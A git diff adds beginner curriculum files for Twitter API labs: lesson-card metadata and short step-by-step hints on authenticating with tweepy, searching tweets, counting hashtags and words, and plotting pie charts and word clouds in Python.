+Copying Tweets To .csv File
+
+### order
+2
+
+### gems
+
+
+## 4-1
+
+### name
+Reading A .csv File
+
+### order
+1
+
+### gems
+
+
+## 4-2
+
+### name
+Cleanse the Data
+
+### order
+2
+
+### gems
+
+
+## 4-3
+
+### name
+Creating A Data Frame Of Tweets
+
+### order
+3
+
+### gems
+
+
+## 5-1
+
+### name
+Setting Parameters Of Wordcloud Figure
+
+### order
+1
+
+### gems
+
+
+## 5-2
+
+### name
+Creating Wordcloud
+
+### order
+2
+
+### gems
+
+
+## 5-3
+
+### name
+Displaying WordCloud
+
+### order
+3
+
+### gems
+
+
+## 5-4
+
+### name
+Compiling Code
+
+### order
+4
+
+### gems
+
+
+## 1-1-1
+
+### name
+Importing Libraries
+
+### order
+1
+
+### gems
+
+
+## 2-1-1
+
+### name
+Authorization Keys
+
+### order
+1
+
+### gems
+
+
+## 2-1-2
+
+### name
+Calling API
+
+### order
+2
+
+### gems
+
+
+## 3-1-1
+
+### name
+Extracting Tweets
+
+### order
+1
+
+### gems
+
+
+## 3-2-1
+
+### name
+Creating A .csv File
+
+### order
+1
+
+### gems
+
+
+## 3-2-2
+
+### name
+Copying Tweets To .csv File
+
+### order
+2
+
+### gems
+
+
+## 4-1-1
+
+### name
+Generating .csv File Of Tweets
+
+### order
+1
+
+### gems
+
+
+## 4-1-2
+
+### name
+Reading The .csv File Of Tweets
+
+### order
+2
+
+### gems
+
+
+## 4-2-1
+
+### name
+Cleanse the Data in the .csv File
+
+### order
+1
+
+### gems
+
+
+## 4-2-2
+
+### name
+Cleanse the Data in the .cvs File
+
+### order
+2
+
+### gems
+
+
+## 4-3-1
+
+### name
+Creating A Data Frame Of Tweets
+
+### order
+1
+
+### gems
+
+
+## 5-1-1
+
+### name
+Setting Parameters Of Wordcloud Figure
+
+### order
+1
+
+### gems
+
+
+## 5-2-1
+
+### name
+Combining Words From Tweets
+
+### order
+1
+
+### gems
+
+
+## 5-2-2
+
+### name
+Creating The Wordcloud
+
+### order
+2
+
+### gems
+
+
+## 5-3-1
+
+### name
+Displaying WordCloud
+
+### order
+1
+
+### gems
+
+
+## 5-4-1
+
+### name
+Compile Code
+
+### order
+1
+
+### gems
+
diff --git a/Module_Twitter_API/labs/Week 1/Visualizing Tweets - Celebrities/image/labPhoto.jpg b/Module_Twitter_API/labs/Week 1/Visualizing Tweets - Celebrities/image/labPhoto.jpg
new file mode 100644
index 00000000..2e8533ad
Binary files /dev/null and b/Module_Twitter_API/labs/Week 1/Visualizing Tweets - Celebrities/image/labPhoto.jpg differ
diff --git a/Module_Twitter_API/labs/Week 1/Visualizing Tweets - Celebrities/labREADME.md b/Module_Twitter_API/labs/Week 1/Visualizing Tweets - Celebrities/labREADME.md
new file mode 100644
index 00000000..951b73d9
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 1/Visualizing Tweets - Celebrities/labREADME.md
@@ -0,0 +1,494 @@
+# github_id
+
+
+
+# name
+
+Visualizing Tweets - Celebrities
+
+# description
+
+In this lab, we will use python-twitter API to analyze twitter data to generate a wordcloud based on the frequency of words the celebrity used in their tweets.
+
+# summary
+
+In this lab, we will write codes in python to help us analyze the data. You will practice using functions importing from libraries, and processing data statistically to generate a wordcloud.
+
+# difficulty
+
+
+
+# image
+
+
+
+# image_folder
+
+Module_Twitter_API/labs/Week1/Visualizing Tweets - Celebrities/image
+
+# cards
+
+## 0
+
+### name
+
+Setting up Twitter Account
+
+### order
+
+1
+
+### gems
+
+
+
+## 1
+
+### name
+
+Visualizing Tweets
+
+### order
+
+2
+
+### gems
+
+
+
+## 2
+
+### name
+
+Obtaining Tweet Data
+
+### order
+
+3
+
+### gems
+
+
+
+## 3
+
+### name
+
+Extracting Tweets Into .csv File
+
+### order
+
+4
+
+### gems
+
+
+
+## 4
+
+### name
+
+Cleansing Tweets
+
+### order
+
+5
+
+### gems
+
+
+
+## 5
+
+### name
+
+Displaying Word Cloud
+
+### order
+
+6
+
+### gems
+
+
+
+## 1-1
+
+### name
+
+Importing Libraries
+
+### order
+
+1
+
+### gems
+
+
+
+## 2-1
+
+### name
+
+Authorization Keys and Calling API
+
+### order
+
+1
+
+### gems
+
+
+
+## 3-1
+
+### name
+
+Extracting Tweets
+
+### order
+
+1
+
+### gems
+
+
+
+## 3-2
+
+### name
+
+Copying Tweets To .csv File
+
+### order
+
+2
+
+### gems
+
+
+
+
+
+## 4-1
+
+### name
+
+Reading A .csv File
+
+### order
+
+1
+
+### gems
+
+
+
+## 4-2
+
+### name
+
+Cleanse the Data
+
+### order
+
+2
+
+### gems
+
+
+
+## 4-3
+
+### name
+
+Creating A Data Frame Of Tweets
+
+### order
+
+3
+
+### gems
+
+
+
+## 5-1
+
+### name
+
+Setting Parameters Of Wordcloud Figure
+
+### order
+
+1
+
+### gems
+
+
+
+
+
+## 5-2
+
+### name
+
+Creating Wordcloud
+
+### order
+
+2
+
+### gems
+
+
+
+## 5-3
+
+### name
+
+Displaying WordCloud
+
+### order
+
+3
+
+### gems
+
+
+
+## 5-4
+
+### name
+
+Compiling Code
+
+### order
+
+4
+
+### gems
+
+
+
+## 1-1-1
+
+### name
+
+Importing Libraries
+
+### order
+
+1
+
+### gems
+
+
+
+## 2-1-1
+
+### name
+
+Authorization Keys
+
+### order
+
+1
+
+### gems
+
+
+
+## 2-1-2
+
+### name
+
+Calling API
+
+### order
+
+2
+
+### gems
+
+
+
+## 3-1-1
+
+### name
+
+Extracting Tweets
+
+### order
+
+1
+
+### gems
+
+
+
+## 3-2-1
+
+### name
+
+Creating A .csv File
+
+### order
+
+1
+
+### gems
+
+
+
+## 3-2-2
+
+### name
+
+Copying Tweets To .csv File
+
+### order
+
+2
+
+### gems
+
+
+
+## 4-1-1
+
+### name
+
+Generating .csv File Of Tweets
+
+### order
+
+1
+
+### gems
+
+
+
+## 4-1-2
+
+### name
+
+Reading The .csv File Of Tweets
+
+### order
+
+2
+
+### gems
+
+
+
+## 4-2-1
+
+### name
+
+Cleanse the Data in the .cvs File
+
+### order
+
+1
+
+### gems
+
+
+
+## 4-2-2
+
+### name
+
+Cleanse the Data in the .cvs File
+
+### order
+
+2
+
+### gems
+
+
+
+## 4-3-1
+
+### name
+
+Creating A Data Frame Of Tweets
+
+### order
+
+1
+
+### gems
+
+
+
+## 5-1-1
+
+### name
+
+Setting Parameters Of Wordcloud Figure
+
+### order
+
+1
+
+### gems
+
+
+
+## 5-2-1
+
+### name
+
+Combining Words From Tweets
+
+### order
+
+1
+
+### gems
+
+
+
+## 5-2-2
+
+### name
+
+Creating The Wordcloud
+
+### order
+
+2
+
+### gems
+
+
+
+## 5-3-1
+
+### name
+
+Displaying WordCloud
+
+### order
+
+1
+
+### gems
+
+
+
+## 5-4-1
+
+### name
+
+Compile Code
+
+### order
+
+1
+
+### gems
+
diff --git a/Module_Twitter_API/labs/Week 1/Visualizing Tweets - Companies/images/labPhoto.jpg b/Module_Twitter_API/labs/Week 1/Visualizing Tweets - Companies/images/labPhoto.jpg
new file mode 100644
index 00000000..2e8533ad
Binary files /dev/null and b/Module_Twitter_API/labs/Week 1/Visualizing Tweets - Companies/images/labPhoto.jpg differ
diff --git a/Module_Twitter_API/labs/Week 1/Visualizing Tweets - Companies/readme.md b/Module_Twitter_API/labs/Week 1/Visualizing Tweets - Companies/readme.md
new file mode 100644
index 00000000..e9b595f6
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 1/Visualizing Tweets - Companies/readme.md
@@ -0,0 +1,363 @@
+# github_id
+18
+
+# name
+Visualizing Tweets - Companies
+
+# description
+We'll be analyzing the frequencey of words in tweets using Twitters API and tweepy package in Python.
+
+# summary
+Using Twitter's API and tweepy package in Python, we'll create a word cloud to observe the frequency of words in a company's tweets. We'll be using these libraries: tweepy, pandas, sys, csv, WordCloud and STOPWORDS from wordcloud, matplotlib, matplotlib.pyplot, string, re, PIL.
+
+# difficulty
+Easy
+
+# image
+
+
+# image_folder
+Bit\curriculum\Module_Twitter_API\labs\Week 1\Visualizing Tweets - Companies
+
+# cards
+
+## 1
+
+### name
+Visualizing Tweets
+
+### order
+1
+
+### gems
+
+
+## 2
+
+### name
+Obtaining Tweet Data
+
+### order
+2
+
+### gems
+
+
+## 3
+
+### name
+Extracting Tweets Into .csv File
+
+### order
+
+
+### gems
+
+
+## 4
+
+### name
+Cleansing Tweets
+
+### order
+4
+
+### gems
+
+
+## 5
+
+### name
+Displaying Word Cloud
+
+### order
+5
+
+### gems
+
+
+## 1-1
+
+### name
+Importing Libraries
+
+### order
+1
+
+### gems
+
+
+## 2-1
+
+### name
+Authorization Keys and Calling API
+
+### order
+1
+
+### gems
+
+
+## 3-1
+
+### name
+Extracting Tweets
+
+### order
+1
+
+### gems
+
+
+## 3-2
+
+### name
+Copying Tweets To .csv File
+
+### order
+2
+
+### gems
+
+
+## 4-1
+
+### name
+Reading A .csv File
+
+### order
+1
+
+### gems
+
+
+## 4-2
+
+### name
+Cleansing Tweets
+
+### order
+2
+
+### gems
+
+
+## 4-3
+
+### name
+Creating A Data Frame Of Tweets
+
+### order
+3
+
+### gems
+
+
+## 5-1
+
+### name
+Setting Parameters Of Wordcloud Figure
+
+### order
+1
+
+### gems
+
+
+## 5-2
+
+### name
+Creating WordCloud
+
+### order
+2
+
+### gems
+
+
+## 5-3
+
+### name
+Displaying WordCloud
+
+### order
+3
+
+### gems
+
+
+## 5-4
+
+### name
+Compiling Code
+
+### order
+4
+
+### gems
+
+
+## 1-1-1
+
+### name
+Importing Libraries
+
+### order
+1
+
+### gems
+
+
+## 2-1-1
+
+### name
+Authorization Keys
+
+### order
+1
+
+### gems
+
+
+## 2-1-2
+
+### name
+Calling API
+
+### order
+2
+
+### gems
+
+
+## 3-1-1
+
+### name
+Extracting Tweets
+
+### order
+1
+
+### gems
+
+
+## 3-2-1
+
+### name
+Creating A .csv File
+
+### order
+1
+
+### gems
+
+
+## 3-2-2
+
+### name
+Copying Tweets To .csv File
+
+### order
+2
+
+### gems
+
+
+## 4-1-1
+
+### name
+Generating .csv File Of Tweets
+
+### order
+1
+
+### gems
+
+
+## 4-1-2
+
+### name
+Reading The .csv File Of Tweets
+
+### order
+2
+
+### gems
+
+
+## 4-2-1
+
+### name
+Cleansing Tweets
+
+### order
+1
+
+### gems
+
+
+## 4-3-1
+
+### name
+Creating A Data Frame of Tweets
+
+### order
+1
+
+### gems
+
+
+## 5-1-1
+
+### name
+Setting Parameters Of Wordcloud Figure
+
+### order
+1
+
+### gems
+
+
+## 5-2-1
+
+### name
+Combining Words From Tweets
+
+### order
+1
+
+### gems
+
+
+## 5-2-2
+
+### name
+Creating The Wordcloud
+
+### order
+2
+
+### gems
+
+
+## 5-3-1
+
+### name
+Displaying WordCloud
+
+### order
+1
+
+### gems
+
+
+## 5-4-1
+
+### name
+Compile Code
+
+### order
+1
+
+### gems
+
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/11.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/11.md
new file mode 100644
index 00000000..dfee7b79
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/11.md
@@ -0,0 +1 @@
+We need to get access to our consumer key, consumer-secret as well as our user's access key and access secret! Set the values of each of these variables equal to our credentials.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/12.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/12.md
new file mode 100644
index 00000000..dd75ea0b
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/12.md
@@ -0,0 +1,11 @@
+**Step 1: Registering our client application with Twitter**
+
+Now that you have set up our credentials, create an `OAuthHandler` Instance from our `Tweepy` library and assign it to a variable `auth`.
+
+The OAuthHandler Instance is a function which takes two parameters, `consumer_key` and `consumer_secret`.
+
+**Step 2: Storing Access Tokens for later use**
+
+Let's move on to storing our access tokens. Twitter currently does not expire tokens, so it is better to store our tokens now rather than re-fetching them every time.
+
+Use the `set_access_token()` function as a sub-function of the variable `auth.`
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/121.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/121.md
new file mode 100644
index 00000000..94d084b7
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/121.md
@@ -0,0 +1,7 @@
+You can create the OAuthHandler like this:
+
+```
+auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
+```
+
+######
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/122.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/122.md
new file mode 100644
index 00000000..77eb0984
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/122.md
@@ -0,0 +1,7 @@
+You can store the Access Tokens like this:
+
+```python
+auth.set_access_token(access_token, access_token_secret)
+```
+
+####
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/13.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/13.md
new file mode 100644
index 00000000..3b576b5c
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/13.md
@@ -0,0 +1 @@
+Now you should call the Twitter API. Store the value in a variable `api` and use Tweepy's `API()` function.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/131.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/131.md
new file mode 100644
index 00000000..088a381a
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/131.md
@@ -0,0 +1,7 @@
+You should call the Twitter API like this:
+
+```python
+ api = tw.API(auth, wait_on_rate_limit=True)
+```
+
+**Note:** `wait_on_rate_limit` decides whether or not we automatically wait to let the amount of times we can call the Twitter API in a specific amount of time, replenish.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/21.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/21.md
new file mode 100644
index 00000000..ec274c4f
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/21.md
@@ -0,0 +1 @@
+Declare the `search_term` we want to search for in the Twitter API.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/211.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/211.md
new file mode 100644
index 00000000..e84555ff
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/211.md
@@ -0,0 +1,7 @@
+This is how you can declare the `search_term`:
+
+```python
+search_term = "NBA -filter:retweets"
+```
+
+####
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/22.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/22.md
new file mode 100644
index 00000000..5080c0e7
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/22.md
@@ -0,0 +1 @@
+Use Tweepy's `Cursor` object to handle pagination and pass in parameters like the `API search`, `query`, `language` and `time duration`. You can set the number of results you extract to 1000 and store the entire result in a variable `tweets`.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/221.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/221.md
new file mode 100644
index 00000000..64366b9b
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/221.md
@@ -0,0 +1,10 @@
+This is how you can declare the `Cursor` object:
+
+```python
+ tweets = tw.Cursor(api.search,
+ q=search_term,
+ lang="en",
+ since='2018-11-01').items(100)
+```
+
+####
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/23.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/23.md
new file mode 100644
index 00000000..f021bab8
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/23.md
@@ -0,0 +1 @@
+Here you should declare a list `all_tweets` where you can store the extracted tweets text. Along with that, declare a dictionary `all_hashtags` where you will store the count of all the unique hashtags associated with the text of the tweet. Remember to use the `remove_url` function to remove any urls from the tweet text.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/231.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/231.md
new file mode 100644
index 00000000..6a546b0a
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/231.md
@@ -0,0 +1,18 @@
+This is how you can iterate over `tweets`, and append the tweet's text to list `all_tweets` passing in the remove_url function to remove any urls in the tweets.
+
+Iterate over the `tweet` entity properties, and check if the text currently exists in the dictionary keys. If it does, then we can increment the count by one, otherwise set it to one.
+
+Move on to print out your `all_hashtags` dictionary to make sure the output values are correct.
+
+```python
+for tweet in tweets:
+ all_tweets.append(remove_url(tweet.text))
+ for hashtag in tweet.entities['hashtags']:
+ if hashtag['text'] not in all_hashtags.keys():
+ all_hashtags[hashtag['text']] = 1
+ else:
+ all_hashtags[hashtag['text']] += 1
+ print(all_hashtags)
+```
+
+##
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/31.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/31.md
new file mode 100644
index 00000000..ba4e24bd
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/31.md
@@ -0,0 +1,3 @@
+Define a function `remove_url` which takes input as `txt` and use the regular expression library `re` to replace all url's in tweets with an empty string. Consider using the `sub()` function.
+
+Remember that we have to return the tweet without a url in the end.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/311.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/311.md
new file mode 100644
index 00000000..ff4a6095
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/311.md
@@ -0,0 +1,8 @@
+This is how your `remove_url` function looks:
+
+```python
+def remove_url(txt):
+ return " ".join(re.sub("([^0-9A-Za-z \t])|(\w+:\/\/\S+)", "", txt).split())
+```
+
+##
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/41.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/41.md
new file mode 100644
index 00000000..9ec0962a
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/41.md
@@ -0,0 +1,3 @@
+Let's can move on to representing the top hashtags found in a pie chart. The slices should be ordered and plotted counter-clockwise. Create a dictionary `pie_hashtags` initialized with "Other" hashtags.
+
+Define a variable `hashtag_total` where you store the sum of all the values in `all_hashtags`.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/411.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/411.md
new file mode 100644
index 00000000..e2751dd2
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/411.md
@@ -0,0 +1,8 @@
+This is how you can create the `pie_hashtags` dictionary and the `hashtag_total`:
+
+```python
+ pie_hashtags = {"Other": 0}
+ hashtag_total = sum(all_hashtags.values())
+```
+
+####
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/42.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/42.md
new file mode 100644
index 00000000..ebdc944d
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/42.md
@@ -0,0 +1 @@
+Now you can iterate over the hashtags and numbers in the `all_hashtags` dictionary and check if the hashtag meets the threshold of 5% to be on the pie graph. If it doesn't add the percentage to the `Other` category, and if it does add it to the `pie_hashtags` dictionary to allow it to be plotted.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/421.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/421.md
new file mode 100644
index 00000000..f0d549dc
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/421.md
@@ -0,0 +1,11 @@
+This is how you can iterate over the hashtags and numbers in the `all_hashtags` dictionary and calculate the percentage of each hashtag. If it meets the 5% threshold, we add it to `pie_hashtags` otherwise we add it to the `Other` category.
+
+```python
+for hashtag, num in all_hashtags.items():
+ if num / hashtag_total >= 0.05:
+ pie_hashtags['#' + hashtag] = all_hashtags[hashtag]
+ else:
+ pie_hashtags["Other"] += all_hashtags[hashtag]
+```
+
+####
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/43.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/43.md
new file mode 100644
index 00000000..92d838c2
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/43.md
@@ -0,0 +1 @@
+Set the labels and sizes values based on the dictionary keys and values.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/431.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/431.md
new file mode 100644
index 00000000..174d8430
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/431.md
@@ -0,0 +1,8 @@
+This is how you can set the labels and sizes values:
+
+```python
+ labels = pie_hashtags.keys()
+ sizes = pie_hashtags.values()
+```
+
+##
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/51.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/51.md
new file mode 100644
index 00000000..f51ff75d
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/51.md
@@ -0,0 +1 @@
+Let's move on to the last step by visualizing the piechart using the Python library `matplotlib`. Start by declaring the fig1 and ax1 values. Use the `pie` and `axis` functions to complete the pie chart visualization. Once done, use the `show` function to display the pie chart!
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/511.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/511.md
new file mode 100644
index 00000000..e74bfd05
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/511.md
@@ -0,0 +1,10 @@
+This is how you can visualize the pie chart. You can use parameters like `startangle`, `shadow` and `labels` to further add clarity to your visualization.
+
+```python
+ fig1, ax1 = plt.subplots()
+ ax1.pie(sizes, labels=labels, autopct='%1.1f%%',
+ shadow=True, startangle=90)
+ ax1.axis('equal')
+ plt.show()
+```
+
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/README.md b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/README.md
new file mode 100644
index 00000000..f74ae6f0
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/README.md
@@ -0,0 +1,263 @@
+# github_id
+18
+
+# name
+Twitter Hashtag Frequency
+
+# description
+We'll be visualizing how often hashtags are used on Twitter using tweepy.
+
+# summary
+Hashtags with more than 5% frequency will be plotted, and everything less will be listed under the 'other' section. Using the API to gather the needed data, tweepy will be able to generate a pie chart showing how often certain hashtags are used.
+
+# difficulty
+Hard
+
+# image
+
+
+# image_folder
+Bit\curriculum\Module_Twitter_API\labs\Week 2\Twitter Hashtag Frequency
+
+# cards
+
+## 1
+
+### name
+Introduction
+
+### order
+1
+
+### gems
+
+
+## 2
+
+### name
+Finding Tweets
+
+### order
+2
+
+### gems
+
+
+## 3
+
+### name
+Cleaning Tweets
+
+### order
+3
+
+### gems
+
+
+## 4
+
+### name
+Calculating Hashtag Frequency
+
+### order
+4
+
+### gems
+
+
+## 5
+
+### name
+Plotting Hashtag Frequency
+
+### order
+5
+
+### gems
+
+
+# steps
+
+## 1-1 Step 1
+
+### name
+Access Keys
+
+### md_content
+
+
+## 1-2 Step 1
+
+### name
+Registering Our App
+
+### md_content
+
+
+## 1-2 Step 2
+
+### name
+Storing Access Tokens
+
+### md_content
+
+
+## 1-3 Step 1
+
+### name
+Call The API
+
+### md_content
+
+
+## 2-1 Step 1
+
+### name
+Declare Search Term
+
+### md_content
+
+
+## 2-2 Step 1
+
+### name
+Set Up Cursor
+
+### md_content
+
+
+## 2-3 Step 1
+
+### name
+Declare Lists
+
+### md_content
+
+
+## 3-1 Step 1
+
+### name
+Define 'remove_url'
+
+### md_content
+
+
+## 4-1 Step 1
+
+### name
+Create Dictionary
+
+### md_content
+
+
+## 4-2 Step 1
+
+### name
+Clean the Data
+
+### md_content
+
+
+## 4-3 Step 1
+
+### name
+Set Labels and Sizes
+
+### md_content
+
+
+## 5-1 Step 1
+
+### name
+Visualizing the Data
+
+### md_content
+
+
+## 1-2-1 Step 1
+
+### name
+Create OAuth Handler
+
+### md_content
+
+
+## 1-2-2 Step 1
+
+### name
+Store Access Tokens
+
+### md_content
+
+
+## 1-3-1 Step 1
+
+### name
+Call Twitter API
+
+### md_content
+
+
+## 2-1-1 Step 1
+
+### name
+Declare Search Term
+
+### md_content
+
+
+## 2-2-1 Step 1
+
+### name
+Declare Cursor
+
+### md_content
+
+
+## 2-3-1 Step 1
+
+### name
+Iterate Over Tweets
+
+### md_content
+
+
+## 3-1-1 Step 1
+
+### name
+Define Remove_URL
+
+### md_content
+
+
+## 4-1-1 Step 1
+
+### name
+Create Dictionary
+
+### md_content
+
+
+## 4-2-1 Step 1
+
+### name
+Iterate Over Hashtags
+
+### md_content
+
+
+## 4-3-1 Step 1
+
+### name
+Set Labels And Sizes
+
+### md_content
+
+
+## 5-1-1
+
+### name
+Visualize Pie Chart
+
+### md_content
+
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/images/Lab2.jpg b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/images/Lab2.jpg
new file mode 100644
index 00000000..3ca0fb16
Binary files /dev/null and b/Module_Twitter_API/labs/Week 2/Twitter Hashtag Frequency/images/Lab2.jpg differ
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/11.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/11.md
new file mode 100644
index 00000000..dfee7b79
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/11.md
@@ -0,0 +1 @@
+We need to get access to our consumer key, consumer-secret as well as our user's access key and access secret! Set the values of each of these variables equal to our credentials.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/111.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/111.md
new file mode 100644
index 00000000..6403240e
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/111.md
@@ -0,0 +1,10 @@
+You should set up your authentication credentials, keys and tokens like this:
+
+```python
+ consumer_key = 'xxx'
+ consumer_secret = 'xxx'
+ access_token = 'xxx'
+ access_token_secret = 'xxx'
+```
+
+####
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/12.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/12.md
new file mode 100644
index 00000000..dd75ea0b
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/12.md
@@ -0,0 +1,11 @@
+**Step 1: Registering our client application with Twitter**
+
+Now that you have set up our credentials, create an `OAuthHandler` Instance from our `Tweepy` library and assign it to a variable `auth`.
+
+The OAuthHandler Instance is a function which takes two parameters, `consumer_key` and `consumer_secret`.
+
+**Step 2: Storing Access Tokens for later use**
+
+Let's move on to storing our access tokens. Twitter currently does not expire tokens, so it is better to store our tokens now rather than re-fetching them every time.
+
+Use the `set_access_token()` function as a sub-function of the variable `auth.`
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/121.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/121.md
new file mode 100644
index 00000000..94d084b7
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/121.md
@@ -0,0 +1,7 @@
+You can create the OAuthHandler like this:
+
+```
+auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
+```
+
+######
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/122.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/122.md
new file mode 100644
index 00000000..77eb0984
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/122.md
@@ -0,0 +1,7 @@
+You can store the Access Tokens like this:
+
+```python
+auth.set_access_token(access_token, access_token_secret)
+```
+
+####
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/13.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/13.md
new file mode 100644
index 00000000..3b576b5c
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/13.md
@@ -0,0 +1 @@
+Now you should call the Twitter API. Store the value in a variable `api` and use Tweepy's `API()` function.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/131.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/131.md
new file mode 100644
index 00000000..088a381a
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/131.md
@@ -0,0 +1,7 @@
+You should call the Twitter API like this:
+
+```python
+ api = tw.API(auth, wait_on_rate_limit=True)
+```
+
+**Note:** `wait_on_rate_limit` decides whether or not we automatically wait to let the amount of times we can call the Twitter API in a specific amount of time, replenish.
\ No newline at end of file
